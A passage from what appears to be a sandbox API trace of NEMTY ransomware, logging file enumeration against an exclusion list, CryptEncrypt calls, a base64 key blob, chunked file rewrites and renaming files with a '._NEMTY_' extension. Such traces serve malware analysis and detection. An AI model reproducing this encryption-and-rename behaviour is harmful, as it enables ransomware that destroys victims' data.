lpOverlapped=0x0) returned 0 [0091.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.999] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.999] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0091.999] CloseHandle (hObject=0xffffffff) returned 0 [0091.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0091.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0091.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0091.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0091.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0091.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0091.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0091.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0091.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0091.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0091.999] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0092.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0092.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0092.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0092.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0092.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0092.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0092.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0092.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0092.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0092.000] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="...") returned 1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="windows") returned -1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="rsa") returned -1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="programdata") returned -1 [0092.000] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="appdata") returned 1 [0092.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0092.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0092.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0092.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0092.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0092.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0092.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0092.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0092.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0092.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0092.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0092.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0092.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0092.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0092.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0092.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0092.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0092.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0092.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0092.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0092.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0092.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0092.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0092.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0092.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94328 [0092.001] Sleep (dwMilliseconds=0x5) [0092.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea7cb270, dwHighDateTime=0x1d561e7)) [0092.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea7cb270, dwHighDateTime=0x1d561e7)) [0092.007] GetLastError () returned 0x5 [0092.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.007] GetLastError () returned 0x5 [0092.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0092.007] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0092.007] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0092.007] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0092.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0092.007] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="ATCsg5Pn6p3tE9QnP0JEmnExtnFd0muU/yQAXcRGwpClYga9YKWLECeVYzpK1Bz2\r\nbmdq99ULaf/b9oWI27Y2jU3SPdMpli82nUnrPnx/iJJEFk5Rz9nKS/mRBzIrDfDR\r\n4bUndf1hkR90lS5/PCgVE55aAUg3W+BH5JEcwki9feTN2m1cMV1Hrcq1fQRCN7bX\r\ng2jI0ztV7YmlYvo0UPWmOpvvSre/kWk4Qmgzwq0HD2PiJvcAHXztPWrLDVCnUEAX\r\nK82djqaMKImvf8X57ymdoh0f72S3bOhGal1NVE1htrANpZfCm3tmq7bSa8HCHmO1\r\n1uqPL+2gjSCYhBRibHDWxQ==\r\n", pcchString=0x653e91c) returned 1 [0092.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0092.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0092.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0092.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0092.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0092.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0092.007] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.007] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0092.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0092.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.008] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.017] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.017] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.027] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.027] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.036] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.036] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.046] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.046] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.056] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.056] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.067] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.067] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.076] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.086] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.110] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.124] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.124] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0092.124] CloseHandle (hObject=0xffffffff) returned 0 [0092.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0092.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0092.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0092.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0092.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0092.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0092.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 